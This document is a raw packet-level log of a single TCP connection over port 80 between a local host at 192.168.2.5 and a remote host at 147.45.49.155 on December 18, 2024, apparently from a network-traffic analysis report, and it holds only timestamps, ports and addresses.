Dec 18, 2024 09:13:05.684735060 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.684788942 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.684890032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.693131924 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.693178892 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.693233013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.701654911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.701704979 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.701721907 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.709860086 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.709923029 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.709995031 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.718334913 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.718357086 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.718381882 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.727987051 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.728037119 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.758224010 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.758256912 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.758300066 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.799479008 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.799515009 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.799559116 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.803596020 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.803719997 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.803766012 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.811969042 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.811997890 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.812041998 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.839462996 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.839560032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.839613914 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.842921972 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.844113111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.844166994 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.844223976 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.851054907 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.851108074 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.851238966 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.857934952 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.858014107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.858048916 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.864732027 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.864779949 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.864823103 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.868221998 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.868266106 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.868338108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.871735096 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.871829987 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.871841908 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.875237942 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.875299931 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.875339985 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.878693104 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.878758907 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.878804922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.882219076 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.882236958 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.882297993 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.885684013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.885771990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.885796070 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.889343977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.889394045 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.889448881 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.892724991 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.892777920 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.892780066 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.896212101 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.896261930 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.896272898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.899672031 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.899746895 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.899831057 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.903158903 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.903177977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.903213978 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.906749010 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.906816006 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.906871080 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.910155058 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.910192013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.910229921 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.949362040 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.949428082 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.949439049 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.951037884 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.951107979 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.951255083 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.954562902 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.954704046 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.954758883 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.959160089 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.959223032 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.959240913 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.961369038 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.961435080 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.961499929 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.990451097 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.990513086 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.990524054 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.992173910 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.992283106 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.992357969 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.995634079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.995726109 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.030479908 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.030586004 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.030631065 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.031737089 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.031852961 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.032047987 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.034288883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.035192013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.035254002 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.035414934 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.037785053 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.037833929 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.037869930 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.040241957 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.040301085 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.040348053 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.042829037 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.042932034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.042984009 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.045345068 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.045399904 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.045434952 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.047875881 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.047923088 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.048015118 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.050466061 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.050529957 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.050662041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.052938938 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.052984953 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.053020000 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.055510998 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.055555105 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.055562019 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.057986975 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.058053017 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.058092117 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.060548067 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.060590029 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.060595036 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.063100100 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.063152075 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.063232899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.065763950 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.065819025 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.065820932 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.068116903 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.068156004 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.068245888 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.070631027 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.070683002 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.070743084 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.073205948 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.073249102 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.073288918 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.075819016 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.075881958 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.075910091 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.078147888 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.078264952 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.078268051 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.080593109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.080668926 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.080745935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.082921982 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.082967997 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.083014965 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.085253000 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.085303068 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.085309982 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.087219000 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.087275982 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.087348938 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.089241028 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.089288950 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.089314938 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.091092110 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.091223955 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.091252089 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.093100071 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.093144894 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.093313932 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.095189095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.095213890 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.095257044 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.096972942 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.096990108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.097018003 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.098875046 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.099061966 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.099104881 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.100826979 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.100862026 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.100869894 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.140211105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.140259981 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.140348911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.140780926 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.140827894 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.141216040 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.142750025 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.142836094 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.142853022 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.144665956 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.144735098 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.144736052 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.146641016 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.146699905 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.146891117 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.148550034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.148596048 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.148600101 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.150497913 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.150557995 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.150589943 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.152431011 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.152544975 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.152668953 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.154400110 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.154448986 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.154464006 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.156297922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.156384945 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.156434059 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.181586981 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.181646109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.181663036 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.182447910 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.182549953 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.182594061 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.184406996 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.184451103 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.185100079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.185203075 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.185321093 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.187024117 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.187131882 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.187177896 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.188958883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.221649885 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.221704006 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.221751928 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.222376108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.222418070 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.222570896 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.223768950 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.223815918 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.223905087 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.225193024 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.225245953 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.225290060 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.226680994 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.226732969 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.226758957 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.228111029 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.228189945 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.228224039 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.229552031 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.229634047 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.229645014 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.231030941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.231075048 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.231108904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.232420921 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.232469082 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.232592106 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.233817101 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.233910084 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.233925104 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.235249043 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.235291004 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.235299110 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.236685991 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.236731052 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.236771107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.238157988 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.238209009 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.238321066 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.239602089 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.239645958 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.239646912 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.240993977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.241035938 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.241091013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.242439985 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.242487907 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.242553949 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.243885994 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.243932962 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.244076967 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.245320082 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.245371103 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.245410919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.246762991 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.246810913 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.246850967 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.248172998 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.248229980 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.248289108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.249701977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.249744892 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.249749899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.251025915 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.251089096 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.251174927 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.252496004 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.252549887 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.252610922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.253993988 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.254127026 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.254158020 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.255367041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.255417109 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.255486965 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.256814003 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.256899118 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.256947041 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.258343935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.258407116 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.258454084 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.259735107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.259836912 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.259869099 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.261104107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.261148930 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.261240959 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.262531996 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.262576103 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.262629986 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.263994932 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.264101982 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.264127016 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.265402079 CET	80	49707	147.45.49.155	192.168.2.5
